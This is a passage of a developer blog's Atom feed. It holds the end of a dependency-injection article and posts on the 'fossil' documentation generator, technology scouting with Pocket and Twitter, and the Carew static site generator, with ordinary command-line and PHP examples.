<h2 id="conclusion">Conclusion</h2>

<p>Here's the TL;DR:</p>

<ul>
<li>IoC: higher level classes own detail classes (which are abstractions)</li>
<li>DI: pass as argument objects to the class which will use them</li>
<li>DIC: creates the dependencies and then injects them into the asked class</li>
<li>Service Locator: depending on the DIC instead of many dependencies</li>
</ul>

<p>If this article didn't teach you anything and made you angry, please
<a href="https://twitter.com/epiloic">tweet it to me</a>. If you learned some things, or
if this article made your day, feel free to do the same ;) .</p>

<h3 id="more-resources">More resources</h3>

<p>If you want to read more about DI and DIC, here's good series by
Fabien Potencier's series on <a href="http://fabien.potencier.org/article/11/what-is-dependency-injection">what is Dependency Injection</a>.</p>

<p>There's also William Durand's slides on <a href="http://edu.williamdurand.fr/php-slides/index.html#slide152">Writing Better Code</a>
(actually the slides are about PHP and contain good resources. I encourage you to read it entirely!).</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Bootstrap the markdown files of your FOSS project]]></title>
            <link href="/2014/01/15/bootstrap-markdown-files-of-your-FOSS-project.html"/>
            <updated>2014-01-15T00:00:00+00:00</updated>
            <id>/2014/01/15/bootstrap-markdown-files-of-your-FOSS-project.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: Fossil is currently unmaintained.</p>
</blockquote>

<p>The one thing that will make developers use your Free or Open Source Software
(FOSS) project is its documentation. Without it, how can they know what it does,
or how to install it?</p>

<p>Last summer <a href="http://williamdurand.fr/2013/07/04/on-open-sourcing-libraries/">William Durand wrote an article about it</a>,
describing the minimum files your FOSS project should have, and what they should
contain.</p>

<p>After reading his article, maybe you did the same thing as me: you took your
courage with both hands and wrote thoroughly a decent documentation for the
project you were working on at the time.</p>

<p>Because it was tedious, you decided to copy those markdown files into your new
projects and adapt them.</p>

<p>But this too was tedious...</p>

<p>To solve this problem once for all I created <strong><a href="https://github.com/gnugat/fossil">fossil</a></strong>:
it will bootstrap the markdown files of your FOSS projects, and it will even
create an installer for you!</p>

<p>It generates the following files out of skeletons:</p>

<ul>
<li><code>CHANGELOG.md</code></li>
<li><code>CONTRIBUTING.md</code></li>
<li><code>LICENSE</code></li>
<li><code>README.md</code></li>
<li><code>VERSIONING.md</code></li>
<li><code>bin/installer.sh</code></li>
<li><code>doc</code> (or <code>Resources/doc</code> if the project is a bundle) directory:

<ul>
<li><code>01-introduction.md</code></li>
<li><code>02-installation.md</code></li>
<li><code>03-usage.md</code></li>
<li><code>04-tests.md</code></li>
</ul></li>
</ul>

<p>The best thing about it: you can run it on your new FOSS projects as well as
with your existing ones! By default it does not replace existing files (if you
want to, simply use the <code>-f</code> option).</p>

<p><strong>Fossil</strong> supports different kind of projects: applications, libraries and
Symfony2 bundles. Here's a quick usage guide.</p>

<h2 id="applications">Applications</h2>

<p>The <code>doc</code> command allows you to generate the markdown files of your
applications, which can be a web application or a CLI tool just like <strong>fossil</strong>.</p>

<p>As you can see in the following example, it only requires 2 arguments:</p>

<pre><code>fossil doc 'acme/application' 'The ACME company'
</code></pre>

<h3 id="the-github-repository-argument">The <a href="https://github.com/">Github</a> repository argument</h3>

<p>Applications are installed by cloning the github repository, which makes it as
easy to update as to run <code>git pull</code>.</p>

<p>This argument is used in the installer script as well as in the installation
instructions.</p>

<p>You don't need to write the whole github URL, simply give the username and the
project name in the following format: <code>username/project-name</code></p>

<h3 id="the-license-author-argument">The license author argument</h3>

<p>While the copyright's date can be computed, you need to provide the author's
name to generate the <code>LICENSE</code> file.</p>

<p>For now it only generates MIT licenses, but pull requests are welcomed :) .</p>

<h3 id="the-path-option">The path option</h3>

<p>By default the files are created in the current directory, but you can target a
specific path:</p>

<pre><code>fossil doc 'acme/application' 'The ACME company' -p '/tmp/application'
</code></pre>

<h3 id="the-force-overwrite-option">The force overwrite option</h3>

<p>As mentioned earlier, <strong>fossil</strong> won't replace existing files by default: for
instance if your project already has a <code>README.md</code> and a <code>LICENSE</code> file it will
only generate the other ones.</p>

<p>But if you want to throw them away, you can use this option:</p>

<pre><code>fossil doc 'acme/project' 'The ACME company' -f
</code></pre>

<h2 id="libraries">Libraries</h2>

<p>The <code>doc:library</code> command has the exact same arguments and options as the <code>doc</code>
one:</p>

<pre><code>fossil doc:library 'acme/library' 'The ACME company'
</code></pre>

<p>You can use the shortcut <code>d:l</code>:</p>

<pre><code>fossil d:l 'acme/library' 'The ACME company'
</code></pre>

<p>The difference between an application and a library lies in its installation:
the library is installed using <a href="http://getcomposer.org/">composer</a>.</p>

<h3 id="the-composer-package-option">The composer package option</h3>

<p>By default <strong>fossil</strong> assumes the composer package's name is the same as the
Github repository name (in the example it would be <code>acme/library</code>).
If it's not your case, use the following option:</p>

<pre><code>fossil d:l 'acme/library' 'The ACME company' -c 'acme/composer-package'
</code></pre>

<h2 id="symfony2-bundles">Symfony2 Bundles</h2>

<p>The <code>doc:bundle</code> command has almost the same arguments and options as the
<code>doc:library</code> one. It has an additional argument:</p>

<pre><code>fossil doc:bundle 'acme/demo-bundle' 'The ACME company' 'Acme\DemoBundle\AcmeDemoBundle'
</code></pre>

<p>You can use the shortcut <code>d:b</code>:</p>

<pre><code>fossil d:b 'acme/demo-bundle' 'The ACME company' 'Acme\DemoBundle\AcmeDemoBundle'
</code></pre>

<p>The difference between a library and a bundle is the documentation directory,
which is in <code>Resources/doc</code> instead of <code>doc</code>.</p>

<h3 id="the-fully-qualified-classname-argument">The fully qualified classname argument</h3>

<p>Another difference is the installation: the bundle needs to be added in the
application's kernel.</p>

<p>This will be detailed in the documentation, but it will also be taken care of
by the installer.</p>

<p>That's right, you read it right: when developers will run the installer, not
only will it download the bundle using composer, but it will also add its fully
qualified classname in the <code>app/AppKernel.php</code> file! Hooray!</p>

<p>The application's kernel will look like this afterwards:</p>

<pre><code>&lt;?php
// File: app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        $bundles = array(
            // Other bundles...
            new Acme\DemoBundle\AcmeDemoBundle(),
        );

        if (in_array($this-&gt;getEnvironment(), array('dev', 'test'))) {
            // Other bundles...
        }

        return $bundles;
    }
}
</code></pre>

<p><em>Note</em>: because of the backslashes you should escape this argument using
quotes, just like in the example.</p>

<h3 id="the-development-tool-option">The development tool option</h3>

<p>By using this option, the bundle will be registered in the application only if
it runs in development or test environment:</p>

<pre><code>fossil d:b 'acme/demo-bundle' 'The ACME company' 'Acme\DemoBundle\AcmeDemoBundle' -d
</code></pre>

<p>The application's kernel will look like this afterwards:</p>

<pre><code>&lt;?php
// File: app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        $bundles = array(
            // Other bundles...
        );

        if (in_array($this-&gt;getEnvironment(), array('dev', 'test'))) {
            // Other bundles...
            $bundles[] = new Acme\DemoBundle\AcmeDemoBundle();
        }

        return $bundles;
    }
}
</code></pre>

<h2 id="you-still-need-to-write-the-documentation">You still need to write the documentation</h2>

<p>After running <strong>fossil</strong> you still need to provide some information (for
instance the elevator pitch in <code>README.md</code>) by editing those files:</p>

<ul>
<li><code>README.md</code></li>
<li><code>doc/01-introduction.md</code></li>
<li><code>doc/03-usage.md</code></li>
<li><code>doc/04-tests.md</code></li>
</ul>

<p>But is that enough? While I think <strong>fossil</strong> automates as much things as
possible, there's still some part of your project that needs specific
documentation.</p>

<p>For example you could add recipes which describe common tasks, or a glossary
defining technical or business terms used in your project.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Bootstrap the markdown files of your new and your old FOSS projects using
<strong><a href="https://github.com/gnugat/fossil">fossil</a></strong>, and then complete the
documentation so everyone can see how awesome your work is!</p>

<p>Happy hacking!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Technology scouting]]></title>
            <link href="/2014/01/08/technology-scouting.html"/>
            <updated>2014-01-08T00:00:00+00:00</updated>
            <id>/2014/01/08/technology-scouting.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This article has been re-written - see <a href="/2014/11/21/read-it-later.html">Read it Later</a></p>
</blockquote>

<p>As a curious person I'm constantly trying to learn new practices and to discover
tools which might help me, by collecting information via technology scouting and
then reading it.</p>

<p>In this article, I will present how to do so effectively.</p>

<h2 id="collecting-information">Collecting information</h2>

<p>Whenever you find an interesting link, send it to <a href="http://getpocket.com/">Pocket</a>
so you can read it later.</p>

<h3 id="blogs">Blogs</h3>

<p>To find interesting links subscribe to blog RSS feeds using
<a href="https://ifttt.com/">If This Then That</a>: it will send new entries directly to
pocket.</p>

<p>Here are some blogs I personnally follow (caution, they're not really sorted):</p>

<ul>
<li><a href="http://williamdurand.fr/">William Durand's blog</a></li>
<li><a href="http://www.mountaingoatsoftware.com/blog">Mountain Goat Software</a></li>
<li><a href="http://blog.karolsojko.com/">Karol Sójko's blog</a></li>
<li><a href="http://blog.8thlight.com/">8th light</a></li>
<li><a href="http://richardmiller.co.uk/">Richard Miller's blog</a></li>
<li><a href="http://verraes.net/#blog">Mathias Verraes's blog</a></li>
<li><a href="http://www.whitewashing.de/">Benjamin Eberlei's blog</a></li>
<li><a href="http://nedroid.com/">Nedroid</a></li>
<li><a href="https://igor.io/">Igor Wiedler's blog</a></li>
</ul>

<h3 id="twitter">Twitter</h3>

<p>You can also use <a href="https://twitter.com/">Twitter</a>:</p>

<ol>
<li>create a private list which will serve as a pool</li>
<li>add any author which might post interresting messages</li>
<li>after a week or so, add the author to a public list</li>
</ol>

<p>The lists only show messages (not retweets) and conversations between people
you follow. They also allow you to create categories.</p>

<p>If you want, you can have a look at
<a href="https://twitter.com/epiloic/lists/">my own public lists</a>.</p>

<h3 id="github">Github</h3>

<p>Last but not least, <a href="https://github.com/">Github</a> can also be a great source of
discoveries: by following someone which stars or watch a lot of projects you
will have them listed on your homepage.</p>

<p>Here's my advice: <a href="https://github.com/pborreli">Pascal Borreli</a> contributes to
many repositories, you should start to follow him.</p>

<h2 id="reading-it">Reading it</h2>

<p>Collecting resources is a thing, getting it read is another one. Just like
<a href="http://verraes.net/2012/12/how-to-read-more-books/">Mathias Verraes advised it</a>,
you should get an e-reader: you can send the pages you gathered on Pocket and
then read them everywhere.</p>

<p>Pocket allows you to remove the articles you found not so interresting after
all, it also allows you to archive the good ones and to favorite the great ones.</p>

<p>Speaking of reading and e-readers, books are another good way of discovering new
things. Do not underestimate them. Here's a list of books I'd recommend:</p>

<ul>
<li><a href="http://git-scm.com/book">Pro Git</a></li>
<li>Clean Code, by Robert C. Martin</li>
<li>Agile Software Development, Principles, Patterns, and Practices, by Robert C. Martin</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>The point is: current tools won't last and there's a lot of practices you're
not aware of. If you want to improve yourself and keep up with other developers,
you have to try your best to discover new practices (which might be rather old
actually) and new trending tools.</p>

<p>I hope you found this article enjoyable and helpful.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Carew, the static site generator]]></title>
            <link href="/2014/01/01/carew-static-site-generator.html"/>
            <updated>2014-01-01T00:00:00+00:00</updated>
            <id>/2014/01/01/carew-static-site-generator.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This article has been re-written - see <a href="/2016/01/15/sculpin.html">Scuplin</a></p>
</blockquote>

<p>Frameworks are a real help when building web applications which serve business
logic. But what about static websites?</p>

<p>Those only contain pages which could be directly written in HTML. The only
problem with this approach is that HTML isn't writter friendly compared to
Markdown.</p>

<p>Also, we could say that static websites like blogs do have some logic behind the
scenes:</p>

<ul>
<li>posts can have a state (is it published yet?)</li>
<li>posts can be tagged, in order to make them easier to find</li>
</ul>

<p>But still, a framework might be too much for this task.</p>

<p>Static site generators are a way to solve this problem:</p>

<ol>
<li>simply write your pages in markdown</li>
<li>launch a command to generate HTML from it</li>
</ol>

<p><a href="http://carew.github.io/">Carew</a> is one of them (among
  <a href="http://jekyllrb.com/">Jekyll</a>,
  <a href="http://hyde.github.io/">Hyde</a>,
  <a href="https://github.com/obensonne/poole">Poole</a>
  and <a href="https://github.com/spjwebster/lanyon">Lanyon</a>):
it is written in PHP, allows you to use the template engine
<a href="http://twig.sensiolabs.org/">Twig</a> in your markdown and it provides a theme
using <a href="http://getbootstrap.com/2.3.2/">Bootstrap</a>.</p>

<p>This blog post will focus on Carew, as
<a href="https://github.com/gnugat/gnugat.github.io">this very blog is written with it</a>.</p>

<h2 id="carew-and-github">Carew and Github</h2>

<p>A common way to quickly publish static sites is to use
<a href="http://pages.github.com/">Github Pages</a> which works as follow:</p>

<ol>
<li>create a repository, the name should follow this format: <code>&lt;username&gt;.github.io</code></li>
<li>add, commit and push the content of the <code>web</code> directory directly at the
root of your repo</li>
<li>the site is now available at this address: <code>http://&lt;username&gt;.github.io</code></li>
</ol>

<p><a href="http://carew.github.io/cookbook/hosting.html">Learn more about hosting a website built with Carew on the official website</a>.</p>

<h2 id="creation">Creation</h2>

<p>Creating your site using Carew is very simple, just follow these steps:</p>

<pre><code>$ php composer.phar create-project carew/boilerplate &lt;project&gt; -s dev
$ cd &lt;project&gt;
$ bin/carew build
</code></pre>

<p>Examples pages (which sources are located in <code>pages</code> and <code>posts</code>) are converted
from markdown to HTML in the <code>web</code> directory.</p>

<h2 id="customization">Customization</h2>

<p>Before writing any page or post, edit the configuration wich is located inside
the <code>config.yml</code> file.</p>

<p>Then edit the <code>pages/index.md</code> and <code>pages/about.md</code> pages with your own content.</p>

<p>Finally, remove the content of the <code>posts</code> folder and create your first blog
post using this command:</p>

<pre><code>$ bin/carew generate:post [--date='YYYY-MM-DD'] title
</code></pre>

<p><a href="http://carew.github.io/cookbook/configuration.html">See the configuration documentation on the official website</a>.</p>

<h2 id="front-matters">Front matters</h2>

<p>Each markdown file starts with a header:</p>

<pre><code>---
layout: post # no need for this line when writing a regular page
title: Will be used by `&lt;title&gt;&lt;/title&gt;` and `&lt;h1&gt;&lt;/h1&gt;`
tags:
    - first tag
    - carew
---
</code></pre>

<p>Carew generates a page listing all existing tags. You can create a link to this
page with the following snippet:</p>

<pre><code>{{ link('tags', 'The page with all the tags') }}.
</code></pre>

<p><a href="http://carew.github.io/documentation.html#front-matter">Learn more about Front matters on the official website</a>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Carew is really simple to use, in this article we've covered the minimum you
should know to create pages, blog posts and tags.</p>

<p>I hope you enjoyed this article and that it helped you a little.</p>

<p>If you want to learn more, for example to customize its behaviour or its theme,
please refer to <a href="http://carew.github.io/documentation.html">the official documentation</a>.</p>
]]></content>
        </entry>
    </feed>